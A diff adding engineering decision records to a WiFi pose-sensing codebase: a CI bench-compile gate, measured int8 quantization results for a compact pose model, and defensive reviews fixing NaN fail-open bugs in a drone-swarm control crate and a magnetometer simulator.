|
||||
- ADR-155 — metric core (`pck_canonical`, torso-only) — generalized here
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — the motivating gap analysis
|
||||
- GraphPose-Fi — arXiv 2511.19105 (verified cross-env PCK@20 = 12.9% anchor)
|
||||
@@ -0,0 +1,110 @@
|
||||
# ADR-174: CI Bench-Regression Gate (Compile-Verify)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — implemented, caught one real bit-rotted bench |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **BENCH-GATE** |
|
||||
| **Milestone** | benchmark/optimization re-balance — sub-deliverable 8.3 |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (target 3: criterion benches as CI regression baselines) |
|
||||
|
||||
## Context
|
||||
|
||||
The v2/ workspace ships **26 criterion benches across 18 crates** (e.g.
|
||||
`nvsim/pipeline_throughput`, `wifi-densepose-ruvector/{ann,sketch,fusion}_bench`,
|
||||
`wifi-densepose-signal/{signal,dsp_perf,features,calibration,cir,…}_bench`,
|
||||
`wifi-densepose-mat/detection_bench`, `wifi-densepose-nn/{inference,native_conv}_bench`,
|
||||
`wifi-densepose-engine/engine_cycle`, …). Because **benches are not part of
|
||||
`cargo test`**, nothing in CI compiled them — so they bit-rot silently the moment
|
||||
a public API they call changes, and the rot is invisible until someone manually
|
||||
runs `cargo bench` months later.
|
||||
|
||||
The SOTA brief named "wire existing criterion benches into CI as regression
|
||||
baselines" as a concrete benchmark-hygiene target. The honest difficulty: true
|
||||
*timing*-regression gating on shared GitHub runners is unreliable — wall-clock
|
||||
varies 2–3× run-to-run (a captured 10-sample run showed `float_l2/512` ranging
|
||||
307–444 ns), so a hard threshold or a cross-runner `criterion --baseline` compare
|
||||
(baseline and PR land on different physical machines) would manufacture false
|
||||
regressions. A gate that cries wolf gets disabled.
|
||||
|
||||
## Decision
|
||||
|
||||
Add `.github/workflows/bench-regression.yml` with **two jobs of explicitly
|
||||
different authority** — and do NOT pretend to gate on timing.
|
||||
|
||||
### `bench-compile` — HARD GATE (real regression detection)
|
||||
`cargo bench --workspace --no-default-features --no-run` compiles + links every
|
||||
default-feature bench (no measurement → fully deterministic), plus a
|
||||
`--features cir` compile of the gated `cir_bench`. Benches aren't in `cargo test`,
|
||||
so this is the genuine guard: **the build fails the moment a bench stops
|
||||
compiling.**
|
||||
|
||||
### `bench-fast-run` — INFORMATIONAL (`continue-on-error: true`, never gates)
|
||||
Runs a curated pure-CPU subset (`nvsim/pipeline_throughput`,
|
||||
`ruvector/{sketch,fusion}_bench`) in criterion quick-mode (1 s warm-up / 2 s
|
||||
measure / 10 samples), targeted per-`--bench`, and uploads logs as an artifact.
|
||||
Every number it produces is **informational only** — explicitly stated in the
|
||||
workflow header.
|
||||
|
||||
### What is NOT done, and why (honest scope)
|
||||
No timing-regression gate, no committed baseline JSON. The workflow header
|
||||
documents the exact condition under which true timing-gating becomes honest: a
|
||||
frequency-pinned **self-hosted** runner with a generous (>2×) floor. A
|
||||
cross-runner baseline would be dishonest, so none is committed.
|
||||
|
||||
### Proof it matters (MEASURED)
|
||||
Running the new gate on the current tree immediately caught
|
||||
`wifi-densepose-mat/detection_bench` failing to compile:
|
||||
`error[E0063]: missing field last_rssi in initializer of SensorPosition` — the
|
||||
struct gained a field; the bench was never updated. **Fixed** in the same change
|
||||
(`last_rssi: None`, the simulated-zone convention) and re-verified
|
||||
(`cargo bench -p wifi-densepose-mat --no-default-features --bench detection_bench --no-run`
|
||||
→ `Finished`). The gate paid for itself on its first run.
|
||||
|
||||
### Exclusions (documented in-workflow)
|
||||
- `ruvector/crv_bench` — its crates.io dep `ruvector-crv 0.1.1` fails to build on
|
||||
stable (upstream `E0308` in `stage_iii.rs`); excluded with a re-add condition.
|
||||
- `onnx_bench` / `mqtt_throughput` — feature-gated (ort / mqtt), left to their
|
||||
crates' own workflows. `wasm-edge/process_frame_bench` — workspace-excluded.
|
||||
|
||||
Conventions mirror existing workflows: `submodules: recursive` (the workspace
|
||||
path-deps `vendor/rufield`), Swatinem/rust-cache `workspaces: v2`, Tauri/GTK apt
|
||||
deps (a `--workspace` bench link pulls the whole graph), path-filtered triggers.
|
||||
|
||||
## Validation
|
||||
|
||||
- **Bit-rot caught + fixed** (above), re-verified `--no-run`.
|
||||
- **MEASURED locally** (`--no-default-features`, Windows): nvsim, ruvector
|
||||
(sketch/fusion/ann), signal/cir_bench, mat/detection_bench (post-fix),
|
||||
vitals, ruview-swarm/swarm_bench all compile; fast subset runs (`nvsim
|
||||
pipeline_run/d1/256` ≈ 55 µs; `ruvector sketch_hamming` ≈ 3–7 ns vs `float_l2`
|
||||
≈ 63–371 ns).
|
||||
- `cargo test -p wifi-densepose-mat --no-default-features` → 166/6/2 passed, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged.
|
||||
- **Honest limitation:** the full `--workspace --no-run` could not be
|
||||
end-to-end validated on this Windows box (`desktop` needs GTK, `candle-core`
|
||||
fails on MSVC, `swarm_bench` LTO-links OOM under parallel pressure — all
|
||||
Windows-env artifacts; each affected bench compiles standalone here). **The
|
||||
first green Linux CI run on the PR is the authoritative proof of the
|
||||
`--workspace` step.**
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Bench bit-rot is now a hard CI failure, not a silent surprise — the 26 benches
|
||||
stay compilable as the APIs they exercise evolve.
|
||||
- The benchmark-infrastructure half of the DoD (step 5) is satisfied honestly,
|
||||
setting up the next sub-deliverable (QAT-int8 measurement) to be
|
||||
regression-protected.
|
||||
|
||||
### Negative / Neutral
|
||||
- No automated timing-regression detection (deliberate — see scope). Revisit only
|
||||
with a frequency-pinned self-hosted runner.
|
||||
- One bench (`crv_bench`) excluded pending an upstream dep fix.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked accuracy harness (sub-deliverable 8.1)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — motivating target
|
||||
- ADR-134 (CIR), ADR-135 (calibration), ADR-154 (signal DSP benches) — benched paths
|
||||
@@ -0,0 +1,172 @@
|
||||
# ADR-175: int8 Quantization of the WiFlow-STD "half" Pose Model — MEASURED accuracy/size trade-off
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — MEASURED, reproducible (honest negative) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **EDGE-INT8** |
|
||||
| **Sub-deliverable** | 8.2 of the benchmark/optimization milestone |
|
||||
| **Metric lock** | ADR-173 (one declared PCK normalization for every reported number) |
|
||||
| **Motivated by** | `docs/research/sota-nn-train-benchmark-brief.md` (§edge int8) |
|
||||
|
||||
## Context
|
||||
|
||||
The SOTA brief characterized the int8 edge story for the WiFlow-STD pose net as
|
||||
"fully characterized" for PTQ on the **published 2.23M** model (static QDQ
|
||||
conv-only = the sweet spot; dynamic int8 ≈ no-op on this all-conv net), and named
|
||||
**QAT-int8 on the strictly-dominating 843,834-param "half" model** as "the one
|
||||
untested edge lever." This ADR is the reading of that lever — a MEASURED
|
||||
fp32-vs-int8 trade-off for the half model, not a claim.
|
||||
|
||||
The half model (`half_best.pth`, 843,834 params) is the efficiency-sweep winner
|
||||
from ADR-152 (`run_sweep.py` VARIANTS[0]: `tcn=[270,220,170,120]`,
|
||||
`conv=[4,8,16,32]`, `attn_groups=4`). Its fp32 accuracy was recorded in the sweep;
|
||||
this ADR re-measures it under the locked normalization and quantizes it.
|
||||
|
||||
**The whole point of this deliverable is reproducibility.** Every number below was
|
||||
produced by running `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
on host `ruvultra` (RTX 5080, torch 2.11.0+cu128) against the real checkpoint and
|
||||
the real seed-42 test split. The script + the exact command + the recorded stdout
|
||||
**is** the proof artifact. Nothing here is estimated.
|
||||
|
||||
## Decision
|
||||
|
||||
Quantize the half model to int8 with **both** levers and report both honestly:
|
||||
|
||||
1. **QAT (primary target)** — FX graph-mode quantization-aware training, fbgemm
|
||||
backend, 3 epochs of fake-quant fine-tuning from `half_best.pth` (AdamW lr 2e-5,
|
||||
the existing `PoseLoss`), then `convert_fx` to a true int8 graph.
|
||||
2. **PTQ static QDQ (the brief's "sweet spot", measured as the honest fallback)** —
|
||||
FX graph-mode static PTQ, fbgemm, calibrated on 64 train batches.
|
||||
|
||||
### Locked normalization (ADR-173)
|
||||
|
||||
**Torso-diameter PCK** — neck (keypoint idx 2) → pelvis (idx 12) distance — the
|
||||
standard MM-Fi/GraphPose-Fi convention. This is exactly the default
|
||||
`use_torso_norm=True` path of the upstream harness's `utils/metrics.calculate_pck`.
|
||||
The **same** `calculate_pck`/`calculate_mpjpe` that produced the sweep's fp32
|
||||
numbers scores **both** fp32 and int8 here, so the comparison is metric-locked: no
|
||||
normalization is mixed, and the fp32 baseline reproduces the sweep's recorded
|
||||
`half` test numbers bit-for-bit (PCK@20 clean = 96.62%), confirming the harness is
|
||||
the same one.
|
||||
|
||||
### Device note (why int8 is CPU)
|
||||
|
||||
PyTorch int8 quantized kernels execute on CPU (fbgemm/x86), not CUDA. So int8 eval
|
||||
is CPU. To keep the accuracy delta device-matched (not confounding int8-vs-fp32
|
||||
with CPU-vs-GPU), the script measures an **fp32-CPU** baseline too. fp32-CPU and
|
||||
fp32-GPU agree to 4 decimals (PCK@20 clean 0.96623 vs 0.96623), so CPU/GPU
|
||||
introduces no drift — the int8 deltas below are pure quantization effect.
|
||||
|
||||
## MEASURED results (clean test subset = 52,560 NaN-free windows; torso-PCK)
|
||||
|
||||
Source: stdout of the run below + `~/wiflow-std-bench/sweep/int8/int8_results.json`.
|
||||
|
||||
| model | quant | size (MB) | PCK@20 | PCK@50 | MPJPE | Δ PCK@20 | Δ PCK@50 | size win |
|
||||
|-------|-------|-----------|--------|--------|-------|----------|----------|----------|
|
||||
| **fp32** (cpu) | — | **3.351** | **96.62%** | **99.47%** | **0.008981** | — | — | 1.00× |
|
||||
| int8 PTQ static | PTQ | 1.046 | 40.98% | 94.98% | 0.038262 | **−55.64 pp** | −4.49 pp | 3.20× smaller |
|
||||
| int8 QAT (3 ep) | **QAT** | 1.043 | 67.48% | 98.69% | 0.026548 | **−29.15 pp** | −0.78 pp | 3.21× smaller |
|
||||
|
||||
Full-test-set (54,000 windows incl. NaN-zero-filled files 487–499) tracks the
|
||||
clean subset: fp32 96.10% / int8-PTQ 41.11% / int8-QAT 67.48% PCK@20 — same shape,
|
||||
recorded in the JSON.
|
||||
|
||||
### Verdict
|
||||
|
||||
**int8 is NOT a win for this model at the tight PCK@20 edge target — honest no.**
|
||||
|
||||
- **PTQ static collapses** (−55.64 pp PCK@20). Naive static QDQ destroys the half
|
||||
model. The "sweet spot" characterization from the brief does not transfer from
|
||||
the 2.23M model to this 843k model at the strict torso-PCK@20 threshold.
|
||||
- **QAT recovers a large share of the relative gap** (PTQ 40.98% → QAT 67.48%) but
|
||||
still **loses 29.15 pp** at PCK@20 for a 3.21× size reduction. At the loose
|
||||
PCK@50 threshold QAT is nearly lossless (−0.78 pp), i.e. coarse-localization
|
||||
survives int8 but fine-localization does not.
|
||||
- The size win is real and consistent (3.2× smaller, 3.351 MB → ~1.04 MB), but
|
||||
**3.2× compression at −29 pp PCK@20 is a bad trade** when the half model already
|
||||
fits comfortably in edge flash at fp32. Recommendation: **keep fp32 (or fp16)
|
||||
for the half model on the edge**; do not ship this int8 variant as-is.
|
||||
|
||||
### Observed fake-quant → int8 conversion gap (disclosed, not hidden)
|
||||
|
||||
During QAT the **fake-quant** model's val PCK@20 reached 83.45% (epoch 3), but the
|
||||
**converted int8** model scores 67.48% on test. A ~16 pp drop on `convert_fx` is a
|
||||
real effect — the fbgemm int8 kernels are not bit-identical to the fake-quant
|
||||
simulation (per-tensor activation quant + the axial-attention `einsum`/softmax path
|
||||
quantize worse than the straight-through estimate predicts). This gap is the honest
|
||||
reason QAT did not close the loss, and it is exactly the kind of number that would
|
||||
be invisible if one only reported the fake-quant proxy. We report the **converted
|
||||
int8** number as the deliverable, not the fake-quant proxy.
|
||||
|
||||
## Reproduction
|
||||
|
||||
```bash
|
||||
ssh ruvultra 'cd ~/wiflow-std-bench && source venv/bin/activate && \
|
||||
python ~/quantize_half_int8.py --mode both --qat-epochs 3 2>&1'
|
||||
```
|
||||
|
||||
- Script (committed): `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
(scp'd to `~/quantize_half_int8.py` on ruvultra for the run).
|
||||
- Inputs (on ruvultra, unmodified): `~/wiflow-std-bench/sweep/half_best.pth`,
|
||||
`~/wiflow-std-bench/preprocessed_csi_data/` (seed-42 file-level 70/15/15 split),
|
||||
upstream `models`/`dataset`/`utils/metrics`/`losses` (DY2434/WiFlow @ 06899d29,
|
||||
Apache-2.0), and `sweep/model_compact.py` (the half-model definition).
|
||||
- Outputs (written, non-destructive): `~/wiflow-std-bench/sweep/int8/` —
|
||||
`half_int8_qat.pth`, `half_int8_ptq_static.pth`, `int8_results.json`,
|
||||
`int8_run.log`. **No existing file under `~/wiflow-std-bench` was modified.**
|
||||
- Run metadata: host `ruvultra`, GPU RTX 5080, torch `2.11.0+cu128`, fbgemm engine,
|
||||
`date_utc 2026-06-15T12:35:06Z`, QAT ≈ 97 s/epoch.
|
||||
|
||||
## What is MEASURED vs CLAIMED
|
||||
|
||||
- **MEASURED:** every PCK/MPJPE/size number in the table; the fp32 baseline (which
|
||||
reproduces the recorded sweep `half` numbers); the PTQ collapse; the QAT partial
|
||||
recovery; the fake-quant→int8 conversion gap; the 3.2× size reduction.
|
||||
- **CLAIMED / not done here:** ONNX/TFLite export; on-real-edge (ESP32/Pi/Hailo)
|
||||
latency or energy (int8 here is measured on x86 fbgemm, the dev box, **not** an
|
||||
edge SoC — the size number transfers, a latency number does **not**); a
|
||||
per-layer mixed-precision search that might keep the attention block in fp32; QAT
|
||||
beyond 3 epochs or with learned-quant-range schedules. Those are the obvious next
|
||||
levers if int8 is revisited; none is asserted as a result.
|
||||
|
||||
## Honest scope / limitations
|
||||
|
||||
- **Single eval split** — one seed-42 file-level test partition; no cross-room /
|
||||
cross-environment generalization split (the GraphPose-Fi frontier from ADR-173 is
|
||||
a separate, harder split and is not what is measured here).
|
||||
- **In-domain only** — these are in-distribution test numbers; they say nothing
|
||||
about the cross-environment robustness gap.
|
||||
- **x86 int8, not edge-SoC int8** — accuracy and size transfer to an edge int8
|
||||
runtime; the runtime/latency does not (different kernels, different SoC). No
|
||||
latency claim is made.
|
||||
- **QAT lightly tuned** — 3 epochs, single LR, default fbgemm qconfig. A longer /
|
||||
better-tuned QAT might narrow the −29 pp, but on the evidence here int8 does not
|
||||
reach fp32 at PCK@20, and that is the reportable result today.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- The "one untested edge lever" (QAT-int8 on the half model) is now MEASURED. The
|
||||
edge int8 question for the half model is answered with reproducible numbers: at
|
||||
the strict PCK@20 target it loses, and we can say so with a committed script.
|
||||
- Establishes a reusable, metric-locked quantization+eval harness
|
||||
(`quantize_half_int8.py`) for any future int8 attempt on these compact variants.
|
||||
|
||||
### Negative
|
||||
- None to the codebase (additive script + ADR + CHANGELOG only; no production Rust
|
||||
or signal-pipeline change; Python deterministic proof hash
|
||||
`f8e76f21a0f9852b70b6d9dd5318239f6b20cbcb4cdd995863263cecdc446f7a` unchanged).
|
||||
|
||||
### Neutral
|
||||
- The negative verdict means the half model stays fp32/fp16 on the edge for now.
|
||||
int8 for these compact pose nets is parked pending the next-lever work above.
|
||||
|
||||
## Links
|
||||
- ADR-173 — metric-locked PCK/MPJPE harness (the locked normalization used here)
|
||||
- ADR-152 — WiFi-Pose SOTA 2026 intake / WiFlow-STD benchmark / efficiency sweep
|
||||
(produced `half_best.pth`)
|
||||
- `docs/research/sota-nn-train-benchmark-brief.md` — §edge int8 (the "one untested
|
||||
lever" this ADR measures)
|
||||
- Script: `v2/crates/wifi-densepose-train/scripts/quantize_half_int8.py`
|
||||
@@ -0,0 +1,103 @@
|
||||
# ADR-176: `ruview-swarm` NaN-Fail-Open Safety Review
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 4 real safety bugs fixed + pinned; 2 issues documented for follow-up |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **SWARM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-148 (`ruview-swarm` drone swarm control plane) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 1 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`ruview-swarm` (ADR-148) is the drone swarm control plane — hierarchical-mesh
|
||||
topology, Raft consensus, MARL, CSI sensing payload, MAVLink/PX4 command
|
||||
dispatch. It is the highest-stakes of the four never-reviewed v2 crates: a defect
|
||||
here can produce an **unsafe physical drone command**. It had no prior security
|
||||
ADR.
|
||||
|
||||
### Trust-boundary map
|
||||
Untrusted input enters via `SwarmOrchestrator::receive_peer_state` /
|
||||
`receive_peer_detection`, which accept full `DroneState` / `CsiDetection` serde
|
||||
structs with **f64/f32 fields and no finite-check**, and via
|
||||
`SwarmConfig`/`FhssConfig`/`Geofence` deserialization. The MAVLink wire formats in
|
||||
`mavlink_messages.rs` are **integer-encoded** (i32 mm / u8) and provably cannot
|
||||
carry NaN — so the NaN class is reachable through the **serde struct path, not the
|
||||
MAVLink decode path**. Commands flow out to a `FlightController` (PX4/ArduPilot).
|
||||
|
||||
The unifying bug class found: **IEEE-754 NaN/Inf silently defeating a safety
|
||||
comparison** (`NaN < threshold` evaluates to `false`), causing safety logic to
|
||||
**fail OPEN**. This is distinct from — but rhymes with — the NaN-state-poisoning
|
||||
class found earlier in calibration/vitals/geo (there, NaN latched into persistent
|
||||
state; here, NaN slips through a one-shot guard). Both are "non-finite input
|
||||
defeats logic," and the fix discipline is the same: **reject non-finite at the
|
||||
trust boundary, fail CLOSED.**
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the four reachable fail-open bugs by making each safety predicate
|
||||
non-finite-aware and fail-closed, each pinned by a fails-on-old test. Document
|
||||
two further genuine issues that need larger, riskier changes rather than churning
|
||||
them in a security pass.
|
||||
|
||||
### Findings fixed (all MEASURED fails-on-old)
|
||||
|
||||
| # | Severity | File:line | Issue | Fix | Pin (old behavior) |
|
||||
|---|----------|-----------|-------|-----|--------------------|
|
||||
| F1a | **HIGH** | `failsafe/mod.rs:51` | `nearest_neighbor_dist < collision_dist_m` fails open on a NaN peer position → **collision avoidance silently disabled** | `!is_finite() ||` → `EmergencyDiverge` | `test_nan_neighbor_distance_fails_closed_to_diverge` (old → `Nominal`) |
|
||||
| F1b | **HIGH** | `failsafe/mod.rs:75` | NaN `battery_pct` bypasses every battery check → drone stays Nominal on unknown battery | `!is_finite() ||` → `ReturnToHome` | `test_nan_battery_fails_closed_to_rth` (old → `Nominal`) |
|
||||
| F2 | **MEDIUM** | `security/geofence.rs:33` | NaN `z` altitude skips the altitude-breach check and point-in-polygon returns `Safe` → silent geofence bypass | leading non-finite coord → `HardBreach` | `test_nan_altitude_fails_closed` (old → `Safe`) |
|
||||
| F3 | **MEDIUM/DoS** | `security/antijamming.rs:65,71,102` | empty deserialized `channels_mhz` → `% 0` **panic** in `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick`, crashing the radio task | `len == 0` early-return (`0.0` sentinel) | `test_empty_channels_does_not_panic` (old → panic `divisor of zero`) |
|
||||
| F4 | **LOW** | `sensing/multiview.rs:70` | NaN `victim_position` passes the `is_some()` filter and propagates into the fused "confirmed victim" location dispatched to the swarm | require finite confidence + position (drop) | `test_nan_victim_position_dropped_from_fusion` (old → non-finite fused position) |
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
- **MAVLink decode panic-safety** — `SwarmNodeState::decode(&[u8;20])` `try_into().unwrap()`s are over fixed const ranges of a fixed-size array → provably infallible; no arbitrary-length `&[u8]` decode path exists.
|
||||
- **UWB/GPS anti-spoofing NaN-safe** — `(gps_dist - uwb_dist).abs() <= tol` already fails CLOSED on a NaN range (counts as inconsistent → spoof rejected); covered by `test_spoofed_gps_invalid`.
|
||||
- **Bounded grid / no allocate-from-length-field** — `ProbabilityGrid` bounds-checks `cx/cy`; `pos_to_cell` uses saturating `as u32` (no UB).
|
||||
- **Mesh `nearest_k` NaN-safe sort** — `partial_cmp(..).unwrap_or(Equal)` cannot panic on NaN.
|
||||
- **No hardcoded secrets** — `MavlinkSigner` key is constructor-injected `[u8;32]`; grep-confirmed nothing embedded.
|
||||
|
||||
### Documented, not fixed (genuine — deferred to avoid churn/regression risk)
|
||||
|
||||
1. **Raft `AppendEntries` lacks the Log-Matching consistency check**
|
||||
(`topology/raft.rs:187`). A follower appends a leader's entries when
|
||||
`term >= current_term` **without validating `prev_log_index`/`prev_log_term`**,
|
||||
so a malformed/byzantine leader can corrupt a follower's log — a genuine
|
||||
consensus-safety gap. A correct fix reworks the log-append plus the
|
||||
caller-side vote-tally contract (the existing `handle_message` delegates
|
||||
tallying to the caller) — a larger change with test-rewrite risk, so it is
|
||||
recorded here rather than rushed in a security pass.
|
||||
2. **`MavlinkSigner::verify` uses a non-constant-time tag `==` and has no
|
||||
replay/timestamp-window rejection** (`security/mavlink_signing.rs:64`). The
|
||||
module doc already flags the replay limitation as a demo/test simplification.
|
||||
Hardening (constant-time compare + monotonic timestamp window) is a focused
|
||||
follow-up.
|
||||
|
||||
These two are the recommended scope of the next `ruview-swarm` hardening pass.
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p ruview-swarm --no-default-features` → **117 → 123** passed, 0 failed (+6 pins).
|
||||
- All 6 new tests MEASURED fails-on-old (2× `Nominal`, `Safe`, panic `divisor of zero`, non-finite fused position); pass on the fix.
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (ruview-swarm off the signal proof path).
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- Four reachable fail-open paths in a *physical-safety* control plane (collision
|
||||
avoidance, battery RTH, geofence, anti-jamming radio task) now fail CLOSED on
|
||||
hostile/degenerate input, each regression-pinned.
|
||||
- Extends the "non-finite input defeats logic" defense from the state-poisoning
|
||||
variant (calibration/vitals/geo) to the fail-open-comparison variant.
|
||||
|
||||
### Negative / Neutral
|
||||
- Two genuine issues (Raft log-matching, MAVLink signer) remain open by choice —
|
||||
see Documented-not-fixed; they define the next hardening pass.
|
||||
|
||||
## Links
|
||||
- ADR-148 — `ruview-swarm` drone swarm control system
|
||||
- ADR-172 — core/cli review (where the NaN bug-class root question was settled NO)
|
||||
- ADR-127 — homecore review (sibling NaN/concurrency hardening)
|
||||
@@ -0,0 +1,92 @@
|
||||
# ADR-177: `nvsim` Degenerate-Input Hardening (NV-Diamond Simulator)
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 2 real MEDIUM bugs fixed + pinned; determinism preserved |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **NVSIM-FAILCLOSED** |
|
||||
| **Reviews** | ADR-089 (`nvsim` NV-diamond magnetometer pipeline simulator) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 2 of 4 |
|
||||
|
||||
## Context
|
||||
|
||||
`nvsim` (ADR-089) is a standalone, **WASM-ready** deterministic NV-diamond
|
||||
magnetometer pipeline simulator — a forward-only leaf:
|
||||
`scene → source → propagation → NV ensemble → digitiser → MagFrame + SHA-256
|
||||
witness`. It has no network surface, so the real attack surface is **degenerate
|
||||
physical-parameter input** crossing the external boundary — specifically the
|
||||
WASM `config_json` / `scene_json` entry points.
|
||||
|
||||
Two properties matter for this crate that don't for others: it is billed
|
||||
**deterministic** (a published cross-machine witness must reproduce bit-exactly),
|
||||
and under `panic=abort` WASM any panic **aborts the whole module**. So a
|
||||
config-induced panic is a denial-of-service, and a silent numeric corruption
|
||||
defeats the simulator's entire purpose.
|
||||
|
||||
## Decision
|
||||
|
||||
Fix the two reachable degenerate-input bugs at their funnel points, each pinned
|
||||
by a fails-on-old test, **without perturbing the deterministic happy path** (the
|
||||
guards fire only on non-finite / degenerate input; the published witness is
|
||||
unchanged).
|
||||
|
||||
### Findings fixed (both MEASURED-reproduced)
|
||||
|
||||
| # | Severity | Location | Issue | Fix |
|
||||
|---|----------|----------|-------|-----|
|
||||
| NVSIM-DT-01 | MEDIUM (DoS) | `pipeline.rs:58,95` | `dt = config.dt_s.unwrap_or(1.0 / f_s_hz)`; an external `f_s_hz == 0.0` → `dt = +Inf` → `(dt*1e6) as u64` saturates to `u64::MAX` → `(sample as u64) * dt_us` **panics `attempt to multiply with overflow`** at `sample ≥ 2` (debug/WASM-abort; garbage `t_us` in release). MEASURED: panic at `pipeline.rs:95:30`. | Sanitise `dt` (non-finite/non-positive → 1 µs fallback), cap the `u64` cast at `u64::MAX`, `saturating_mul` the timestamp — no config can overflow it. |
|
||||
| NVSIM-NAN-01 | MEDIUM (silent corruption) | funnel `digitiser.rs::adc_quantise` (root: near-field clamp bypass in `source.rs`) | A non-finite scene param (NaN/Inf dipole position, Inf moment, NaN loop radius) **bypasses the near-field clamp** (`NaN < R_MIN_M == false` → the `1/r³` path runs → NaN field), and at the ADC `NaN as i32 == 0` (Rust saturating cast) emits a frame `b_pt=[0,0,0]` with **`ADC_SATURATED` CLEAR** — indistinguishable from a legitimate zero-field reading. MEASURED: `b=[NaN,NaN,NaN] sat=false` → `b_pt=[0,0,0] flags=0b0000`. | `adc_quantise`: any non-finite input → code `0` **with the saturation flag raised**; the pipeline's existing `adc_sat` OR-reduction propagates `ADC_SATURATED` onto the frame, making the corruption visible downstream. |
|
||||
|
||||
This is the same **NaN-fail-open / NaN-poisoning** family seen across
|
||||
calibration/vitals/geo and ruview-swarm — non-finite input defeating a guard —
|
||||
but bounded here to a single frame (no cross-timestep accumulator).
|
||||
|
||||
### Dimensions confirmed clean (with evidence)
|
||||
|
||||
1. **Determinism integrity — clean.** One RNG only: `ChaCha20Rng::seed_from_u64(seed)`,
|
||||
fully caller-seeded (grep: one `seed_from_u64`, **zero** `thread_rng`/`getrandom`/
|
||||
`SystemTime`/`Instant`/`HashMap`); `Cargo.toml` pins `rand`/`rand_chacha`
|
||||
`default-features=false` (no OS entropy). Box–Muller draws
|
||||
`gen_range(f64::EPSILON..=1.0)` (avoids `ln(0)=-Inf` by construction). Frame
|
||||
bytes fixed LE; source summation order fixed by `Vec` order. **The published
|
||||
cross-machine witness `cc8de9b0…93b4` (`proof_witness_publishes_a_known_value`)
|
||||
passes UNCHANGED after both fixes** — the happy path is byte-identical; guards
|
||||
touch only degenerate inputs. *Attested caveat (not a finding): libm
|
||||
`cos`/`ln`/`sqrt` could differ x86↔wasm; the witness is documented as
|
||||
x86_64-captured.*
|
||||
2. **Panic-free deserialisation — clean.** `MagFrame::from_bytes` validates
|
||||
len/magic/version, then per-field `buf[a..b].try_into().expect(...)` are over
|
||||
fixed sub-ranges of an already-length-checked 60-byte buffer (provably
|
||||
infallible). No `unsafe`, no `panic!`/`unreachable!` in production; every other
|
||||
`unwrap`/`expect` is `#[cfg(test)]`.
|
||||
3. **Div-by-zero / numerical landmines — clean.** `dipole_field`/`current_loop_field`
|
||||
clamp `r_norm < R_MIN_M` before `1/r³`,`1/r²` (finite inputs); `shot_noise_floor`
|
||||
guards `denom <= 0`; `vec3_normalise` guards `n < 1e-20`. The only hole was the
|
||||
NaN *bypass* of the clamp — closed at the ADC funnel (NVSIM-NAN-01).
|
||||
|
||||
## Validation
|
||||
|
||||
- `cargo test -p nvsim --no-default-features` → **50 → 53** passed, 0 failed (+3 pins:
|
||||
`degenerate_zero_sample_rate_does_not_panic`,
|
||||
`non_finite_scene_input_flags_frame_instead_of_silently_zeroing`,
|
||||
`adc_quantise_flags_non_finite_as_saturated`).
|
||||
- `cargo test --workspace --no-default-features` → **exit 0**, 0 failed.
|
||||
- `python archive/v1/data/proof/verify.py` → **VERDICT: PASS**, hash
|
||||
`f8e76f21…46f7a` unchanged (nvsim off the signal proof path).
|
||||
- nvsim's own cross-machine witness `cc8de9b0…93b4` reproduces unchanged.
|
||||
|
||||
## Consequences
|
||||
|
||||
### Positive
|
||||
- A config-induced WASM-abort DoS and a silent NaN→fake-zero-field corruption are
|
||||
closed at their funnel points, each regression-pinned, with the deterministic
|
||||
witness proven intact.
|
||||
|
||||
### Negative / Neutral
|
||||
- None. Guards affect only degenerate inputs; happy-path output is byte-identical.
|
||||
|
||||
## Links
|
||||
- ADR-089 — `nvsim` NV-diamond magnetometer simulator
|
||||
- ADR-176 — `ruview-swarm` (sibling NaN-fail-open review)
|
||||
- ADR-172 — core/cli (where the NaN-bug-class root was settled NO)
|
||||
@@ -0,0 +1,87 @@
|
||||
# ADR-178: `wifi-densepose-desktop` IPC Injection Fix + Capability Least-Privilege
|
||||
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| **Status** | Accepted — 2 real MODERATE bugs fixed + pinned (MEASURED on Windows) |
|
||||
| **Date** | 2026-06-15 |
|
||||
| **Deciders** | ruv |
|
||||
| **Codename** | **DESK-LOCKDOWN** |
|
||||
| **Reviews** | `wifi-densepose-desktop` (Tauri v2 desktop app) |
|
||||
| **Milestone** | #9 (ungated-crate security sweep) — crate 3 of 4 |
|
||||
|
||||
## Context
|
||||
|
